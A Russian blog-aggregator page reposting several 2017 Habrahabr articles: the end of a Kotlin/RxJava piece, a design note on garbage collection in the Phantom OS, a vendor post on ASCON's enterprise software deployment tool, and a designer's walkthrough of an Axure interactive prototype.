Инициализация объекта в Kotlin’e возможна в одном месте что сокращает контекст для программиста и снижает стоимость вложения

В принципе, из того что я попробовал в Kotlin это самые серьезные вещи, влияющие на стоимость владения продуктом. Я сейчас не хочу говорить про вкусовщину типа data classes, перегрузку операторов, string template, lazy properties и т.п. Все это вещи интересные но они могут как сокращать, так и увеличивать стоимость владения.

В заключение небольшой пример Kotlin + RxJava + Jackson. Я хочу иметь dto класс, который позволит не просто хранить данные, но и уведомлять об их изменениях. Пример упрощенный для более наглядной демонстрации.

interface Property {
   var value: T
   val rx: Observable
}

open class BaseProperty(defaultValue: T) : Property {

   override var value: T = defaultValue
       set(value) {
           field = value
           _rx.onNext(field)
       }

   private val _rx = PublishSubject.create()
   override val rx: Observable = _rx
       get() {
           return field.startWith(value)
       }
}

Здесь хочу обратить внимание на перегрузку val rx. При подписке на Observable сразу же приходит текущее значение. Это важно т.к. десериализация из json'a случается раньше чем верстка экрана и подвязывание графических элементов к свойству. А при startWith мы сразу инициализируем графический элемент текущим значением и меняем по ходу пьесы.

class Car {
   private val _speed = BaseProperty(0.0)

   var speed: Double
       get() = _speed.value
       set(value) {
           _speed.value = value
       }
  
   @JsonIgnore
   val rxSpeed: Observable = _speed.rx
}

class Police {
   val cars: List = listOf(Car("1st"), Car("2nd"), Car("3rd"))

   init {
       cars.forEach {
           car -> car.rxSpeed
                   .map { speed -> speed > 60 } // преобразует double скорость в boolean скоростьПревышена
                   .distinctUntilChanged()
                   .filter { aboveLimit -> aboveLimit == true }
                   .subscribe { writeTicket(car) }
       }
   }

   private fun writeTicket(car: Car) {
       // do some stuff
   }
}

Класс Car прекрасно сериализуется/десериализуется Jackson'ом, может быть использован как классический dto класс, но в то же время позволяет обрабатывать изменения свойств в реактив стиле.

Ниже пример подвязки Label к свойству объекта:

Label("", assets.skin, "progress-bar-time-indicator").apply {
                        setAlignment(Align.center)
                        craft.rx(DURATION).subscribe {
                            setText(TimeFormat.format(it))
                        }
                    })

Заключение:

К сожалению я не могу представить объективных цифр насколько стоимость владения продуктом на Kotlin'e дешевле Java. Да и само это утверждения я уверен будет не раз оспорено в комментариях. Могу сказать только по своему субъективному суждению, цифра в 1.5 — 2 раза для меня реальна. Причем сокращение стоимости владения в полтора раза характерно для начала перехода с Java на Kotlin, примерно через неделю-две я думаю на двойную эффективность вышел. В основном за счет NPE-proof, immutable, lambda & функции высшего порядка.

Upd:
Статья по графике
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331976/


Метки:  

Фантом: большая сборка мусора

Четверг, 29 Июня 2017 г. 19:56 + в цитатник
Эта статья — продолжение, начало здесь. Для тех, кто не кликнул на ссылку, краткая вводная:

Мы обсуждаем сборку мусора в операционной системе Фантом, то есть в среде виртуальной (байткод-) машины, работающей в персистентной оперативной памяти. Размер персистентной памяти — порядка размера диска, то есть единицы терабайт на сегодня и, потенциально, десятки и сотни терабайт завтра.

Поскольку речь идёт о виртуальной памяти, то существенная часть объектов в любом случае находится не в оперативной памяти, независимо от того, какой алгоритм и вообще подход мы избрали. То есть — стоимость доступа к объекту велика. Это, в общем случае, дисковая операция.

Кроме того, следует ожидать, что в сетевой среде совокупности таких виртуальных машин будут обмениваться прокси-объектами, то есть будет существовать граф объектов, растянутый на много машин в сети и, конечно, во всём этом кошмаре потенциально потребуется уметь собирать мусор не только на одной машине, но и по сети.

Принятая мной идея схемы сборки мусора в такой среде выглядит как совокупность двух сборщиков.

Первый — быстрый, детерминированный, но не гарантирующий 100% собираемость. В настоящее время он реализован на принципе подсчёта числа ссылок на объект. Неидеальная, но достаточно простая и предсказуемая модель.

Второй — медленный, недетерминированный (трудно предсказать время работы), но точный и бескомпромиссный. В традиционной среде такой сборщик требовал бы остановки мира (stop the world), но есть трюк — если сборку вести на полной копии состояния системы, то весь собранный в копии мусор будет мусором также и в более поздней версии того же состояния, что бы с ней ни происходило. Прелесть подхода в том, что Фантом реализует персистентность именно через создание «снапшотов» — полных копий состояния объектной памяти виртуальной машины. То есть — среда, в которой можно спокойно и рассудительно собирать мусор уже есть.

По сути дела в этот момент задача кажется тривиальной — на «обездвиженном пациенте» собирать мусор можно самым простым и незатейливым способом. Да? Похоже, что нет.

Вопрос первый — хранение промежуточной информации о состоянии сборки. Да и её объём. Мы должны предполагать, что ситуация ужасна и система сумела загнать себя в угол, истратив всё дисковое пространство. Сколько именно мы должны резервировать для сборщика, чтобы он смог закончить работу?

Вопрос второй — рестартуемость алгоритма. Было бы заманчиво реализовать сборщик как штатную программу под Фантом, которая, следовательно, живёт в персистентной памяти и перезапуски ОС для неё незаметны, всё состояние программы сохраняется и сборка мусора просто продолжается дальше после рестарта системы. Но в силу первого требования такая реализация может быть опасна — при нехватке памяти её может «доесть» пользовательский процесс и работа сборщика мусора будет остановлена. Это бы решалось через квотирование выделения памяти, но в текущей версии ОС его нет, ну и в целом решение выглядит очень изящно, но с точки зрения отладки окажется, скорее всего, похожим на ад.

Следовательно, хорошо бы опереть сборщик мусора на некоторую простую структуру данных, которую легко хранить и обрабатывать в линейном виде. Например — односвязный список, организованный как task list, из которого алгоритм вынимает атомарные задачи и в который добавляет задачи в процессе решения «вынутой» задачи.

При этом хорошо бы избежать модификации оригинального снапшота (копии памяти системы), и обновление самого списка сделать атомарным с тем, чтобы выключение алгоритма в любой точке не приводило к сбою.

В целом напрашивается такая наивная реализация: список необойдённых объектов roots, список посещённых объектов visited, и алгоритм, который сводится к:

  • Для пустого roots и visited положить в него объект по адесу ноль
  • Для непустого — прочитать и удалить адрес объекта, если его нет в visited — добавить его в visited, добавить в roots всех его детей
  • Для пустого roots и непустого visited — пройти линейно все объекты в адресном пространстве снапшота, если они не встречаются в visited — пометить их как мусор в актуальном адресном пространстве (этот процесс тоже можно сделать рестартуемым, если записывать время от времени адрес памяти, который мы прошли)

Естественно, это очень неэффективный алгоритм, но его можно оптимизировать довольно тривиальным путём. Например, так: roots делаем не очередью, а стеком и хвост этого стека храним в памяти, при этом большое количество обходов leaf objects будет происходить без модификации дисковой части этого стека. Важно лишь чтобы в дисковую копию объекты попадали только целиком и уходили из неё только после обхода всех детей.

Проблема в том, что каждый шаг этого алгоритма требует просмотра всего visited, что потенциально — крушение всех надежд, фиаско.

Беда ещё и в том, что visited нельзя кешировать в памяти — его обязательно надо просмотреть целиком. Напрашивается очевидная идея — сделать его не списком, а деревом, отсортированным по адресу объекта. Тогда поиск объекта в дереве сократится логарифмически, и, главное — фрагменты дерева можно кешировать, поскольку полный перебор не нужен.

Кстати, если у вас есть идеи по поводу такого алгоритма, напишите, пожалуйста.

Отдельный вопрос возникает в случае отказа дискового ввода-вывода для какой-либо страницы. Строго говоря, в такой ситуации сборка мусора вообще невозможна. Хотя для данного снапшота пропадание страницы (и, следовательно, находящихся в ней ссылок) делает часть объектов недоступными, то есть фактическим мусором, было бы недальновидно просто так взять и всё это уничтожить.

Во-первых, хорошо бы иметь некоторый аналог lost+found для таких ситуаций. Хотя и совершенно неясно, как его реализовать. Во-вторых, в актуальной работающей системе соответствующая страница может быть вполне жива. Поэтому справедливо было бы сделать вот как: проверить, есть ли эта страница в более поздних шотах или в памяти. Если есть в памяти — форсировать её помещение в снапшот, даже если она не менялась (обычно Фантом неизменившиеся страницы, конечно, не пишет повторно), остановить сборку и рестартовать её на более позднем снапшоте. Если же не повезло и страницы нигде нет, включить режим восстановления и по окончании обычной сборки эвристически поискать в мусоре поддеревья объектов ощутимого размера, которые из мусора исключить и «подвесить» в специальное место в объектной иерархии.

Что ещё важно?

В целом подсистема виртуальной персистентной памяти Фантома и его же виртуальная байткод-машина (объектная среда) ни черта друг про друга не знают. Вторая живёт в первой. И всё.

Но один достаточно типовой случай, который нуждается в связке между ними. Этот случай выглядит просто: между двумя снапшотами программа в ОС Фантом выделяет, использует и освобождает пару гигабайт объектов. Например, обсчитывает графику и в процессе создаёт временные данные. К началу снапшота они не нужны и неактуальны. Но память, в которой они лежали, «потрогана», модифицировалась. С точки зрения снапшоттера это — повод записать такую память в снапшот. В реальности её содержимое уже никому не интересно и, более того, должно быть обнулено от греха. Было бы логично при освобождении большого участка памяти сообщить пейджинговой подсистеме, что этот участок не только не dirty, а и вообще не нужен и сохранять его не нужно. А при восстановлении со снапшота его нужно читать как страницу нулей.

Это опять кажется тривиальным, но — нет. В предыдущей статье говорилось о проблеме удаления объектов по обнулению счётчика ссылок и о том, что делать это можно только после прохода всеми нитями границы инструкции виртуальной машины.

Технически самый простой способ это реализовать — сделать удаление после снапшота.

Почему? Потому что снапшот гарантированно приостанавливает все нити на границе инструкции байткода. Почему после, а не во время? Потому что синхронную часть снапшота надо делать бегом, чтобы она была незаметна для работающих программ.

А после — поздно, потому что тогда «ненужные» страницы, всё же, попадут в снапшот.

В итоге это означает, что нужно выполнить не очень очевидную цепочку операций:

  1. Приостановить все треды на границе инструкции и сразу «отпустить» их
  2. Провести освобождение объектов с нулевым счётчиком ссылок, которые были заявлены на удаление до этой остановки (проверяя, что счётчик всё ещё нулевой)
  3. Приостановить все треды на границе инструкции ещё раз
  4. Выполнить синхронную часть снапшота (в памяти)
  5. «Отпустить» остановленные треды
  6. Спокойно доделывать асинхронную часть снапшота (ввод-вывод)

Ко всему этому требуется ещё добавить блокировку того снапшота, на котором идёт сборка мусора, от удаления, а так же механизм, который позволяет держать не менее трёх частично перекрытых снапшотов —

  • Старого, на котором собираем мусор
  • Более актуального, который полон и пригоден к рестарту
  • Последнего, который находится в процессе формирования

А может быть и ещё нескольких, которые хранятся в режиме бекапа/time machine.

На сём позвольте поставить точку с запятой, и задать вопрос: какую статистику по состоянию объектной среды вы бы считали полезной собрать в процессе сборки мусора? Мы всё равно обходим объекты, можно провести тот или иной анализ относительно бесплатно.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331974/


Метки:  

Обновление корпоративного ПО: вариант для PDM/PLM-систем

Четверг, 29 Июня 2017 г. 19:36 + в цитатник
Большинство крупных организаций сталкивается с трудностями в выполнении массового обслуживания ПО. Эти трудности носят как объективный, так и субъективный характер. Объективной трудностью является неоднородность ИТ-инфраструктуры, полностью преодолеть которую невозможно. Однако руководители ИТ-отделов и системные администраторы не всегда уделяют должное внимание этой проблеме. Главной субъективной трудностью является отношение к обслуживанию корпоративного ПО как к обслуживанию коробочного и, как следствие, вера в существование «магической зелёной кнопки»: нажал — и всё установилось (обновилось). На практике такой сценарий, увы, нереализуем.



В чём же заключается разница?


Установка коробочного продукта обычно выполняется по довольно простому «итерационному» сценарию: попробовал установить -> не получилось -> устранил проблемы -> попробовал снова. Для установки «из коробки» такая последовательность оправдана, потому что в случае возникновения блокирующих проблем они локализованы на конкретном компьютере. При этом пользователь вполне может потратить немного личного времени на установку недостающих компонентов, настройку ОС и т. д. В целом, можно сказать, что 20 минут настройки одного рабочего места — вполне средняя цифра.

Обслуживание корпоративного ПО зачастую тоже пытаются проводить по итерационному сценарию, однако «цена» итерации при этом возрастает многократно. Время, затрачиваемое на настройку рабочего места, в случае массового развертывания нужно умножать на количество установок, и безобидные 20 минут уже при 10 компьютерах превращаются как минимум в 3,5 часа рабочего времени, потраченного, фактически, на механические (т. е. хорошо автоматизируемые) операции.



Далее, в случае распределенных систем блокирующие проблемы могут иметь произвольную локализацию в пределах сети, и для их устранения может потребоваться привлечение специалистов из других подразделений, поскольку, как правило, на большинстве предприятий организационные единицы, ответственные за общесистемное и продуктовое администрирование, разделены. Это требует дополнительных временных затрат. В целом, по нашей статистике, обновление 30 рабочих мест за один рабочий день силами четырех человек — вот предел ручной производительности труда.

Эффективное управление таким процессом при сколько-нибудь значительном количестве рабочих мест без отработанной методики невозможно. Суть этой методики заключается в том, что проблемы необходимо выявлять предварительно, а устранять — централизованно, причём делать это до выполнения обслуживания ПО. Казалось бы, всё просто? Но даже, если такая методика имеется, для её реализации необходим инструмент, не сложнее решаемой задачи.

Для автоматизации управления ИТ-инфраструктурой создано множество инструментов и решений, от самых простых, нацеленных, как правило, на автоматизацию типичных повторяющихся действий на рабочем месте (назовём их решениями «лёгкого класса»), до весьма сложных и изощренных (по аналогии можно сказать о решениях «среднего и тяжёлого классов»), охватывающих все или почти все аспекты управления.

Решения «лёгкого класса» нас не интересуют: с их помощью можно в лучшем случае обеспечить установку на рабочем месте драйверов и комплекта часто используемых программ типа офиса, архиваторов и т. п. Как правило, в их основе лежит простой скриптовый язык, исполняющий механизм которого может эмулировать консольный ввод, управлять окнами, процессами и другими объектами. Ограниченность таких решений вызвана в первую очередь тем, что в процессе придания скрипту универсальности (необходимой ему в силу неоднородности инфраструктуры) его сложность значительно возрастает, требуя от разработчика не только хороших навыков программирования, но и достаточно глубокого понимания архитектуры ОС и прикладного ПО. В условиях хронического недостатка времени и ресурсов, срочного решения задач, которые надо было «сделать вчера», использование «лёгких» решений не приводит к удовлетворительному результату.

С другой стороны лежат решения «тяжелого класса», которые обычно стремятся «подмять под себя» почти все аспекты управления инфраструктурой (инвентаризация аппаратуры и ПО, мониторинг использования ПО, мониторинг конфигураций, управление виртуализацией и т. д.). Из-за своей универсальности такие решения настолько сложны в использовании, что их изучение и правильное применение подчас становится не менее трудоемким, чем решение основной задачи. Второе, что нужно сказать об этих системах — это то, что «оставшаяся» часть функционала, та, что не связана с обслуживанием ПО, может быть предприятию и не нужна. С учетом немалой стоимости, подобные затраты часто себя не оправдывают.



Чтобы облегчить работу администраторам программного комплекса АСКОН, автоматизирующего управление жизненным циклом изделия, мы разработали решение, которое можно отнести к «среднему классу». Оно не требует программирования, хотя позволяет выполнять доверенные (подписанные) скрипты в случае необходимости дополнительных послеустановочных действий. При этом оно не содержит избыточного функционала, сложного в освоении и обучении. Мы назвали его «Центр обслуживания Комплекса».

«Центр обслуживания Комплекса». Основные отличительные моменты решения


Легковесность с учетом специфики. Продукт не перегружен лишним функционалом, сфокусирован на максимально простом решении основной задачи — массовом обслуживании (установке, обновлении) продуктов АСКОН, таких, как ЛОЦМАН:PLM, САПР ТП ВЕРТИКАЛЬ, справочник Материалы и Сортаменты, справочник Стандартные изделия, КОМПАС-3D и других, с учетом их специфики.

Разумная универсальность. Продукт позволяет обслуживать практически любое стороннее ПО, использующее для установки механизм Windows Installer. При этом решается и часть смежных задач, например, мониторинг конфигураций — но лишь в том объёме, который необходим для решения основной задачи, и не более. Разумеется, конфигурации стороннего ПО отслеживаются лишь по основным параметрам, но часто и их бывает достаточно, чтобы локализовать и устранить проблему.



Централизованная диагностика. Очевидно, что для успешного обслуживания ПО необходима работоспособная инфраструктура. Проблема в том, что продуктовые администраторы часто не имеют прямого доступа к центральным, жизненно важным объектам ИТ-инфраструктуры (AD DS, DNS, DHCP, групповые политики и пр.). И даже имей они его — просто ли с ходу разобраться в многоуровневой архитектуре, которую, к тому же, ещё и не ты проектировал? Поэтому сбор, хранение и отображение диагностической информации об аппаратной и программной конфигурации рабочих мест и основных настройках ОС критически необходима для обслуживания ПО. Опять же, осуществляется он лишь в том объёме, что необходим для практической работы. Частично решается задача инвентаризации аппаратуры и ПО.



Локализации проблем. Наши наблюдения показывают, что существенная часть сбоев и ошибок (от 30% до 50%), возникающих при эксплуатации корпоративного ПО, вызвана проблемами инфраструктуры. К сожалению, на крупных предприятиях со строго регламентированной организационной структурой (в силу целого ряда причин) имеет место неявное перетекание той доли ответственности за неработоспособность продуктов, которая лежит на общесистемных администраторах, к администраторам продуктов. Мы решаем задачу локализации посредством непрерывного мониторинга инфраструктуры с накоплением полученных данных для последующего анализа.

Интеграция в продуктовый портфель. Как правило, крупные производители корпоративного ПО стараются тем или иным способом решать задачи массового обслуживания своих продуктов. До сих пор таких инструментов у АСКОН не было. Теперь мы делаем шаг на встречу заказчику и закрываем ещё один сегмент автоматизации бизнес-процессов.

В целом мы надеемся, что данное решение будет востребовано в промышленности и, прежде всего, при обслуживании сложных PDM/PLM-систем. Хотя, как уже было сказано выше, номенклатура обслуживаемого ПО ограничена только используемым для развертывания механизмом (Windows Installer). Правда, справедливости ради надо отметить, что вряд ли кому-нибудь придет в голову использовать для корпоративной системы «легкий» инсталлятор типа NSIS.

Ну и в качестве заключения немного конкретных цифр. Испытания системы в «боевых условиях» показали, что с её помощью даже при минимальном уровне начальной подготовки продуктивной среды можно обновлять/устанавливать от 65 до 70 компьютеров в час! Это что-то около минуты на один компьютер при том, что все операции может выполнить один человек. Сравнение с цифрами, приведенными в начале статьи (30 рабочих мест за один рабочий день силами четырех человек), подтверждает прирост производительности труда как минимум на порядок.

Александр Юхименко, руководитель группы разработки Единого инсталлятора Комплекса.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331968/


Преимущества интерактивного прототипирования

Четверг, 29 Июня 2017 г. 19:17 + в цитатник


Дизайнеры всегда стремились показывать красивые картинки заказчикам. Они добавляли стильные эффекты в изображения, находили крутые фотки в фотобанках, отбрасывали от объектов немыслимые тени (порой против законов физики реального мира) и прибегали к прочим хитростям. Возможно их зачастую не волновало насколько это реализуемо в работающий продукт. Картинки в такой красивой обертке далее отправлялись клиенту или руководителю и дизайнер готовился снимать сливки...

Так было раньше и это работало. Я сам прибегал к таким хитростям неоднократно. Однако, мир вокруг стремительно меняется. Современный продукт настолько сложен, что одна картинка не даст понимания и ответов на вопрос “Как это работает?”. Схематичное или wireframe прототипирование тоже постепенно угасает в закате, так как черно-белые линии и прямоугольники не дают клиенту полного понимания. Всё больше желающих сегодня видеть живой прототип, а не серию картинок…

Интерактивный или high fidelity прототип является золотой серединой, т.к. не является статичной картинкой и вовлекает во взаимодействие. Кнопки можно нажимать, формы можно заполнять, можно получать события и подтверждение опыта взаимодействия в любом сценарии. Если приложить больше усилий, то можно разработать такой прототип, который сразу можно передавать в отдел юзабилити-тестирования. В результате продукт имеет выше шансы на успех, потому что удалось грамотно отладить все сценарии на прототипе и потом передать эстафету разработчикам. Тем более они быстрее уловят суть задачи, имея такой прототип перед глазами. Это продуктивнее, чем разбираться со скриншотами из ТЗ, пытаясь установить взаимосвязь между ними.

Вымышленный дизайн


Я хочу рассмотреть процесс интерактивного прототипирования на примере своей концептуальной дизайн-разработки. Это вымышленный кейс. Этот прототип, хоть и будет доступен для скачивания ниже и свободного использования, но вряд ли обладает стандартным деловым стилем. Он создавался в процессе исследования и изучения нового инструмента для дизайна. Как-то выдалось несколько свободных вечеров, которые я решил посвятить творчеству и расширению кругозора. Я ковырялся в Axure уже какое-то время и понял, что в нём есть всё необходимое для полноценного графического редактора. Оставалось только провести эксперимент для самообучения — разобраться с некоторыми функциями, событиями, стилями и взаимосвязями между элементами. Я не ограничивал полёт своей фантазии, поэтому стилистика будет соответствующая :)

Концепция стиля


Все самые трендовые дизайнерcкие трюки всегда на поверхности. Открываете Dribbble, сортируете лучшее за месяц и пожалуйста: размытые тени, градиенты, огромные заголовки, мишура вокруг макета из стиля memphis — всё это окажется в самом верху выдачи. Так что если нужно собрать лайки в дизайнерских сообществах, то нужно использовать все актуальные приемы. Поэтому я подошел творчески, т.к. сегодня я сам себе клиент и хозяин. Какие цвета захотел — такие и использовал. Аналогично про шрифты, кнопки и стили в целом. Поэтому я далее буду работать в “полной синеве”, вспомню про пунктирные бордеры, буду писать и белым и черным текстом на одном фоне, и отбрасывать сильно размытые тени. А на десерт подам всяческую анимацию прямо в браузере. Тем не менее это всё-таки будет похоже на абстрактный инструмент дизайнера. Или вообще что-то из геймерского…

Цветовая гамма


Статистика утверждает, что синие сайты преобладают. Поэтому гамма будет в основном такой. И будет несколько оттенков: один монохромный для визуального разделения и иерархии, а второй — контрастный, близкий к аналоговому, чтобы вы не пропустили что-то важное. Ниже я еще напишу о нём подробнее. Работа с цветовым кругом может породить весьма интересные и сочные цветовые комбинации. А этот почти зелёный я назначу вторичным цветом. Вот в каких оттенках все это будет позже:



Типографика


Сейчас в тренде типографика и игры со шрифтами. Интересная шрифтовая пара поможет донести условный message продукта и передать настроение. Например, заголовок может быть написан текстом с засечками, а абзац текста каким-нибудь стабильно актуальным Roboto. Впрочем, часто встречаются и противоположные комбинации. Хоть шрифт с засечками и отдаёт чем-то печатным или книжным, но примеры с удачным сочетанием в IT решениях встречаются. В моем прототипе немного другие настроения, поэтому взял оба шрифта без засечек Montserrat (для заголовков и кнопок) и Roboto (для “тела” и остального):



Header


Начну описание всех элементов и их сущности прямо сверху. Шапка получилась богатая на выдумки, поэтому постараюсь описывать с некоторой структурой.

Tabs: основная навигация




Суть данной реализации — показать, что можно добиться эффекта “выключенного света” для текста неактивной вкладки. Я выбирал цвета таким образом, чтобы получилось что-то похожее, а при клике “свет” бы включался. Поэтому, если присмотреться, то и при наведении и клике на вкладку, от текста исходит небольшое свечение. Очень старый и надоевший приём из 2000-х. Но если применить его почти незаметно, можно добиться интересного эффекта. Программно же, тут просто group selection для 4-х вкладок и использование Set selected = true при событии onClick. Да вобщем-то почти весь прототип базируется на этом простом методе: группировка в выборку и изменение статуса по клику.

Submenu: дополнительная навигация




Это дополнительное меню является аналогом стандартного меню в большинстве ПО: Файл, Правка, Вид и т.п. Текст окрашен в белый с прозрачностью 60%, а при наведении мыши она становится 100%. Это должно было произвести эффект подсвечивания. Соглашусь, ничего нового; а вот пунктирные бордеры дизайнеры редко вспоминают. Каюсь, мне стоило бы доделать разворот по клику. Но я испугался излишнего перфекционизма, ведь в разворте подменю мне пришлось бы продумывать развёртывание вправо дополнительных разделов…

User’s controls: иконки и аватар пользователя




В правом верхнем углу сконцентрированы мои основные фантазии анимирования в этом концепте. Если навести на иконку сообщений, то красный кружок сделает оборот а счётчик событий засчитает +1 новое. Быстрая идея после того как я разобрался с эффектом Rotate: можно отодвинуть центр вращения от центра пересечения осей объекта и научить его выписывать хоть восьмёрки на мониторе. Цифра меняется в момент максимального ускорения, поэтому это не заметно вашему глазу. Кстати, такой микроитерацией можно повысить важность новых событий в любом интерфейсе, но только если этого требует бизнес. Клик по юзерпику раскрутит его вокруг своей оси, что вызовет появление круглого (!) подменю. Это продолжение экспериментов с rotate-эффектом. Соглашусь, что мало какой продукт потребует таких попапов и такой анимации.

Однако, подобная “геймификация интерфейса” может использоваться, например, в промо-продуктах или игровых системах. Кстати нажмите Logout, чтобы свернуть подменю и оно аналогично появлению схлопнется. Замечу, что такая комплексная анимация в прототипе работает быстро, не замедляет и не прерывает получение остального опыта. Весь секрет исключительно в правильных таймингах и нелинейности происходящего. Если вкратце, то есть два основных правила: объект исчезает быстрее чем появляется и скорость не может быть линейной.

Left column


Vertical navigation: pages или категории




Подходит для любых компонентов с динамическим кол-вом элементов внутри. Знаете, на самом деле очень сложно было придумывать несуществующий интерфейс: сценариев нет, и проблемы нет — решать нечего. Я срисовывал там, где дизайнил, поэтому взял панель с абстрактными страницами, которые можно создавать. Я продолжаю смело играть с цветом и для иконок: создание новой — это важнее всего, поэтому ярко-зеленым. Поиск — вообще третичен, поэтому иконка чёрная. Выходит, что функционал поиска почти не заметен, но если вам срочно понадобится найти условную страницу — у вас будет мотивация отыскать лупу. И вы сделаете это быстро! Аналогичным образом исполнены контролы Save / Rename / Duplicate. У них самый низкий приоритет подачи и очень контрастная подсветка при наведении. Выезжающий справа скролл бар — это напоминание самому себе, как хорошо прятать лишнее из интерфейса до нужного момента.

Tools: панель инструментов




В этом виджете моего концепта я разбирался с изменением состояний для группы объектов. Нужно разом триггерить все стили состояний для неё (Properties > Trigger Mouse Interaction Styles).

Поэтому эффект активации при клике срабатывает сразу для всех элементов: иконка, подложка, подпись. Гораздо сложнее оказалось сделать онховер не сразу для всей группы, а поочерёдно. Допустим, некоторый элемент находится поверх бОльшего, и нужно активировать сперва его состояние а потом для меньшего. Соответственно, когда курсор формально над обоими объектами, то “гореть” должны оба. А как только мы частично отводим курсор — гаснет только меньший объект. В моем концепте такой задачи не стояло, но есть в практике кейсы, когда это требуется. Допустим карточка товара интернет магазина + кнопка “добавить”. Вы хотите, чтобы появилась тень при наведении на карточку, а затем поменялся стиль кнопки, когда курсор формально над обоими объектами. Так вот стандартный MouseOver для двух объектов в группе уже не сработает — как только вы наводите курсор на карточку, то подсвечиваются оба объекта разом. Я обошёл эту проблему через JS функцию onMouseHover/Out — как только срабатывает для кнопки, она получает состояние Selected и меняет вид через CSS (пример из другого проекта):



Right column


Properties: или свойства элемента




Правая часть этого концептуального интерфейса должна была дать ответ на вопрос “Как далеко я могу зайти в дизайне инпутов, с условием, что ввод текста должен работать?”. С обычным HTML-инпутом и его оформлением далеко зайти не удалось. Но можно схитрить, если отключить ему border, а весь дизайн создавать уже на прямоугольнике под ним. Тогда при фокусировке на инпуте нам останется только менять стили для подложки: для события onHover и onFocus. Мало кто заметит это в работе, пока не залезет в код. Кстати, код машинный и лазить туда не рекомендуется, особенно, если вы только что обедали. Я усложнил каждый инпут до динамической панели с разными состояниями. Это позволило мне достичь мягкости их смены fade-эффектом. Вы наводите курсор над инпутом — плавно появляется пунктирный бордер. Делаете клик — он мягко гаснет, а инпут плавно темнеет. С виду это мелочи, но чтобы реализовать такое, не зная кодинга, пришлось немного повозиться. В подразделе Interaction я игрался с действием SetText: при наведении на иконку появляется подсказка. Я конечно хотел бы там добавить анимации, но все эффекты пришлось убрать. Если разом провести курсор по всему ряду иконок, вся анимация продолжала повторяться с лагом, даже когда мышь была уже далеко. С выпадающими списками подход вполне стандартный — я часто встречал микроитерацию для анкора при клике на список. Оставалось лишь научиться воспроизвести её самому в среде Axure.

Notifications: очень важный попап




Важный — значит заметный, поэтому такой цвет. Играюсь опять с цветовым кругом. Мне очень сильно хотелось, чтобы попап исчезал в том направлении, откуда был сделан клик “закрыть”. В основном это будет правый верхний угол, и я всеми доступными инструментами отправляю туда яркое окошко с зелёным бургером (!). Для этого я сокращаю размер попапа до 0х0 с точкой приближения справа вверху (действие Set Size). И с тем же таймингом в 300мс и ease in эффектом снижаю прозрачность до нуля. Получается два эффекта одновременно, которые в совокупности дают приемлемый результат.

Center


Чтобы не уходить сильно в перфекционизм, я не стал сильно утруждаться в центре. Просто лишний раз сам себе напомнил — в продукте не должно быть “пустых” мест. Если пользователь начинает с чистого листа в вашей системе, то не надо этот лист ему показывать. Буквально. Нужно побудить его к действию. Поэтому в центре я делаю простой onboarding в общем стиле + заметная кнопка Create, нажатие которой выкатит плейсхолдер.

На этом я завершаю прототип. Я нашёл ответы на многие свои вопросы во время этого исследования.

В качества заключения


Я иногда слышал о командах, в которых анимацию для веб-продукта додумывали разработчики после дизайнеров. Так быть не должно! Придумывать логику и правила перемещения объектов на экране должны мы — дизайнеры. Хороший дизайнер должен знать правила использования анимации. Я ищу вдохновение среди объектов в реальном мире. Ведь если анимация в интерфейсе кажется реальной — это не вызывает диссонанса и способствует повышению качества вашего продукта. Напоследок скажу, что не прекращаю практиковаться, чтобы чувствовать правильные тайминги для событий в зависимости от конкретного сценария.

Спасибо, что потратили время на несуществующий интерфейс! Теперь сами можете покликать его по этой ссылке и скачать, если захотите...

P.S.:

Вопрос действительно понятного и удобного экспорта спецификаций анимации до сих пор открыт на рынке инструментов. Я не слышал ни об одном редакторе, который позволил бы оптимально передать параметры всех эффектов, таймингов и объектов с ними связанных. Остаётся передавать на пальцах разработчикам все нюансы.

Очень сильно хочется, чтобы сделали экспорт семантически-корректного кода в Axure. Тогда разработка будет протекать оптимальнее. Хочется, чтобы и про мобильное прототипирование не забывали. И сейчас конечно можно, но не так идеально как в любом инструменте, в котором об этом не забыли. Хочется чтобы не вставляли PNG-костылей там, где можно применять чистый CSS (например, цвет тени и dashed-бордеры). И чтобы сделали нормальный экспорт спецификаций, на рынке уже много софта, который круто собирает UI kit воедино. Тем более отступы померять между объектами в исходнике не должно быть серьезной проблемой. Сейчас low fidelity прототипирование уже на закате, и если команда Акшуры не пересмотрит приоритеты — скоро пойдут с вещами на выход…

Вот такими несколько свободных вечеров выдались…

Пара хороших статей об анимации в интерфейсах на Медиуме:
EN: 6 Animation Guidelines for UX Design
EN: Creating Usability with Motion: The UX in Motion Manifesto

Открыт к сотрудничеству! Пишите в скайп: creativiter / или почтой: kamushken@gmail.com
Kamushken @ Dribbble
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331972/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 1030 1029 [1028] 1027 1026 ..
.. 1 Календарь